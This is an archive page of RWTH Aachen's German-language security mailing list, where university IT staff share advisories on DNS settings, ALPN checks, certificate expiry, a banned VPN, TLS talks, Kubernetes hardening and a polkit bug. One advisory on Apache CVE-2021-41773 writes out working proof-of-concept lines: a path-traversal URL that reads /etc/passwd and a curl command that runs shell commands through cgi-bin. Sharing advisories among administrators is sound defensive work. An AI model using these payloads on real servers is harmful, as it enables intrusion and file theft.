- rwth-security - lists.rwth-aachen.de

von Jens Hektor

Hallo, die Nameserver der RWTH lauten 134.130.4.1 134.130.5.1 2a00:8a60:0:4::1 2a00:8a60:0:5::1 Keinesfalls lauten die Nameserver 1.1.1.1 8.8.8.8 8.8.4.4 Ich bitte darum, das umzusetzen, bevor ich mich gezwungen sehe, es aus guten Gründen zu erzwingen. Gute Gründe bitte hier in die Mailingliste, E-Mails an mich werde ich kommentarlos löschen. Gruß, Jens Hektor -- Dipl.-Phys. Jens Hektor, Computer Security Incidents Response Team RWTH Aachen University, Center for Computing and Communication Room 2.04, Wendlingweg 10, 52074 Aachen (Germany) Phone: +49 241 80 29206 - Fax: +49 241 80 22100 https://www.rz.rwth-aachen.de - csi(a)rwth-aachen.de

2 Jahre, 8 Monate

4
10
0 1

Skript bzgl. application layer protocol content confusion attack

von Bernd Kohler

Hallo zusammen, ich habe den Artikel [0] zu ALPACA ("Application Layer Protocols Allowing Cross-Protocol Attacks") mal zum Anlaß genommen, ein kleines Skript zu schreiben. Dieses prüft aber eigentlich nur, ob die empfohlene TLS extension Application Layer Protocol Negotiation (ALPN) aktiv ist oder nicht. SNI habe ich zudem ausgeklammert. Das Skript analysiert also nicht ALPACA, dazu fehlt bspw noch die Prüfung auf notwendiges SMTP/FTP/... sondern lediglich eine Empfehlung Dies habe ich mit Blick auf den von mir gesetzen Zeitrahmen (noch?) nicht implementiert. Verbesserte/korrigierte Versionen bitte gerne wieder zurück in diese Runde. Also fröhliches Testen der eigenen (!) Web-Server bzgl. ALPN. VG Bernd [0] https://www.heise.de/news/ALPACA-Attacke-Angreifer-koennten-mit-TLS-gesiche… [1] https://alpaca-attack.com/ -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 8 Monate

1
2
0 0

Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI (siehe dazu au [1]) "Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)" --> Update von Version 2.4.49 auf 2.4.50 --> "require all denied" aktivieren (per difault disabled) --> PoC: ${SERVER}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" 'http://${SERVER}:${PORT}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv --> ein passendes nmap Script gibt es unter [2] (man kann passwd auch durch hosts ersetzen ;) ) VG Bernd [0] https://httpd.apache.org/security/vulnerabilities_24.html [1] https://heise.de/-6209130 [2] https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 9 Monate

1
1
0 0

Let's Encrypt - DST Root CA X3 Expiration (30.9.2021)

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "DST Root CA X3 Expiration (September 2021)" --> Stichtag ist: Sep 30 14:01:15 2021 GMT Für weitere Infos siehe u.a. [1] und [2] VG Bernd [0] https://letsencrypt.org/docs/dst-root-ca-x3-expiration-september-2021/ [1] https://letsencrypt.org/certificates/ [2] https://medium.com/geekculture/will-you-be-impacted-by-letsencrypt-dst-root… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 9 Monate

1
0
0 0

Urban VPN (was: Hola VPN)

von Jens Hektor

Hallo! Wir hatten im August 2019 eine echte Spammerwelle. die durch zahlreiche Blast-o-mat Sperrungen begleitet wurde. Das ganze wurde hier bereits thematisiert: https://lists.rwth-aachen.de/hyperkitty/list/rwth-security@lists.rwth-aache… Kurz: Urban VPN scheint das neue Hola VPN zu sein. Funktioniert wohl genauso, d.h. der Traffic anderer Teilnehmer dieses Netzwerkes fällt aus den hiesigen Knoten raus. Spammer im RWTH-Netz sind dann eher noch die harmlose Variante. Vorschrift: Urban VPN ist im RWTH Netz zu deinstallieren. Gruß, Jens Hektor -- Dipl.-Phys. Jens Hektor, Computer Security Incidents Response Team RWTH Aachen University, Center for Computing and Communication Room 2.04, Wendlingweg 10, 52074 Aachen (Germany) Phone: +49 241 80 29206 - Fax: +49 241 80 22100 https://www.rz.rwth-aachen.de - csi(a)rwth-aachen.de

2 Jahre, 9 Monate

1
1
0 0

Bypass defender with Powershell? Run the same payload twice

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] (bzw. [1] FYI "... Bypass defender with Powershell? Run the same payload twice ..." VG Bernd [0] https://www.twitch.tv/videos/1139866725 [1] https://twitter.com/Flangvik/status/1434579985528934400 -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 10 Monate

1
0
0 0

Vortrag zum Thema "Introduction to TLS 1.3" des Nationales Forschungszentrum für angewandte Cybersicherheit ATHENE

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Introduction to TLS 1.3" --> Wurde veranstaltet durch das Nationale Forschungszentrum für angewandte Cybersicherheit ATHENE [1] VG Bernd [0] https://www.youtube.com/watch?v=XfB7ncNROJU [1] https://www.athene-center.de/ -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 10 Monate

1
0
0 0

Introduction to TLS 1.3

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Introduction to TLS 1.3" 24. Aug. Begin 3 pm CEST Duration 3 h VG Bernd [0] https://esorics2021.athene-center.de/tutorial-08-24.php -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 10 Monate

1
0
0 0

NSA, CISA release Kubernetes Hardening Guidance

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "NSA, CISA release Kubernetes Hardening Guidance" (Das PDF-Dokument selber gibt es auf [1]) VG Bernd [0] https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2716… [1] https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20H… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

2 Jahre, 11 Monate

1
0
0 0

Linux system service bug lets you get root on most modern distros

von Bernd Kohler

Hallo zusammen, sofern nicht selber schon gesehen/-lesen hier [0] FYI "Linux system service bug lets you get root on most modern distros" --> "... polkit local privilege escalation bug ... includes popular distros such as RHEL 8, Fedora 21 (or later), Ubuntu 20.04, as well as unstable versions like Debian testing ('bullseye') and its derivatives ..." VG Bernd [0] https://www.bleepingcomputer.com/news/security/linux-system-service-bug-let… -- Bernd Kohler IT Center Abteilung: Netze RWTH Aachen University Wendlingweg 10 52074 Aachen Tel: +49 241 80-29793 Fax: +49 241 80-22666 kohler(a)itc.rwth-aachen.de www.itc.rwth-aachen.de Social Media Kanäle des IT Centers: https://blog.rwth-aachen.de/itc/ https://www.facebook.com/itcenterrwth https://www.linkedin.com/company/itcenterrwth https://twitter.com/ITCenterRWTH https://www.youtube.com/channel/UCKKDJJukeRwO0LP-ac8x8rQ

3 Jahre

1
0
0 0

2024

2023

2022

2021

2020

2019

2018

rwth-security